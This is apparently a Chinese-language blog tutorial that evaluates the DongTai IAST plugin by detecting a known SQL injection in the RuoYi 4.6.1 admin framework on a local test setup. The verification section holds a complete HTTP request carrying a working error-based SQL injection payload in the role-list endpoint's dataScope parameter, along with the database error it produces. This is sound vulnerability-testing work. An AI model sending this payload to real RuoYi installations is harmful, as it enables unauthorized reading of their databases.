洞態IAST檢測RuoYi的sql注入漏洞
01 背景
因為看到 Xcheck 發的自動檢測到開源項目 RuoYi 的 sql 注入漏洞,因此打算用該漏洞驗證一下洞態 IAST 的漏洞檢測能力。洞態 IAST 的檢測方式是掃描運行中的應用程序,將掃描到的漏洞信息發送到云端進行處理、展示。
02 驗證方式
本次驗證選擇在本地 IDEA 運行 Xcheck 測試的 RuoYi 版本(4.6.1),使用洞態 IAST 的 IDEA 插件對其進行快速檢測。
03 本地環境搭建
1.克隆 RuoYi 源碼
$ git clone https://github.com/yangzongzhuan/RuoYi.git
注:RuoYi 新版本已修復漏洞,需要將項目版本改為4.6.1,或者直接下載 RuoYi-4.6.1的源碼包。
RuoYi-4.6.1源碼下載:https://github.com/yangzongzhuan/RuoYi/archive/refs/tags/v4.6.1.zip
2.使用 IDEA 打開項目
3.修改ruoyi-admin模塊下的application-druid.yml中的數據庫信息,將username和password改為本地數據庫

4.創建數據庫ry,導入項目sql文件夾下的.sql文件
mysql -utest -p1234 -e "CREATE DATABASE ry DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;"mysql -utest -p1234 rymysql -utest -p1234 ry
04 IDEA插件的下載與安裝
1.下載 DongTai IAST 插件 下載地址:
https://github.com/HXSecurity/DongTai-Plugin-IDEA/releases/download/v1.0/DongTai-Plugin-IDEA.zip
2.安裝
3.打開 IDEA preferences 界面的 Plugins,選擇從本地下載,導入下載好的插件DongTai-Plugin-IDEA.zip。

選中插件,啟動插件功能(無需重新啟動IDEA)。
官方文檔:https://hxsecurity.github.io/DongTaiDoc/#/doc/tutorial/plugin
05 運行項目
1.使用插件功能“Run With IAST”或者“Debug With IAST”啟動項目
使用 IDEA 打開本次檢測項目“RuoYi”,版本為4.6.1。
配置好數據庫等配置文件,使用“Run With IAST”或者“Debug With IAST”啟動或調試項目。注意:第一次使用該功能需要配置Token(Token需要登陸洞態IAST官網在 部署IAST 中獲取,詳細請看官方文檔)。


項目啟動成功,訪問 127.0.0.1:80

06 漏洞檢測
1.測試項目功能,開始被動式挖洞。訪問“角色管理”功能,會出現“http://localhost/system/role/list的POST請求出現SQL注入漏洞”。

2.查看“漏洞列表”面板
訪問項目功能后,打開“漏洞列表”面板,查看已檢測到的漏洞的概要信息

查看“http://localhost/system/role/list的POST請求出現SQL注入漏洞”,選中它然后點擊查看詳情,跳轉到洞態IAST漏洞詳情頁面,開始分析漏洞


07 漏洞驗證
使用Burp Suite進行抓包,進行報錯注入獲取到數據庫的版本號。
POST /system/role/list HTTP/1.1Host: localhostContent-Length: 214sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Content-Type: application/x-www-form-urlencodedOrigin: http://localhostSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost/system/roleAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=142a87a0-faef-479c-a158-67de9d8b14aaConnection: close pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=?ms%5BbeginTime%5D=?ms%5BendTime%5D=?ms%5BdataScope%5D=and extractvalue(rand(),+concat(0x3a,substring(version(),1,30)))=1
通過注入獲取到了數據庫的版本號,漏洞驗證成功。
HTTP/1.1 200 Content-Type: application/jsonDate: Mon, 12 Jul 2021 06:34:54 GMTConnection: closeContent-Length: 1101
{"msg":"運行時異常:### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: ':8.0.25'### The error may exist in URL [jar:file:/Users/erzhuangniu/workspace/bugenv/docker/ruoyi-admin.jar!/BOOT-INF/lib/ruoyi-system-4.6.1.jar!/mapper/system/SysRoleMapper.xml]### The error may involve com.ruoyi.system.mapper.SysRoleMapper.selectRoleList-Inline### The error occurred while setting parameters### SQL: SELECT count(0) FROM (SELECT DISTINCT r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.status, r.del_flag, r.create_time, r.remark FROM sys_role r LEFT JOIN sys_user_role ur ON ur.role_id = r.role_id LEFT JOIN sys_user u ON u.user_id = ur.user_id LEFT JOIN sys_dept d ON u.dept_id = d.dept_id WHERE r.del_flag = '0' AND extractvalue(rand(), concat(0x3a, substring(version(), 1, 30))) = 1) table_count### Cause: java.sql.SQLException: XPATH syntax error: ':8.0.25'; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: ':8.0.25'; nested exception is java.sql.SQLException: XPATH syntax error: ':8.0.25'","code":500}

08 總結
通過本次測試發現洞態IAST在漏洞檢出上效果很好,而且多次測試還檢測出了RuoYi的其他漏洞,經過漏洞驗證均為真實漏洞,而洞態IAST的IDEA插件又降低了檢測漏洞的門檻,只需在IDEA中運行項目即可進行檢測漏洞,十分方便,推薦大家嘗試、使用。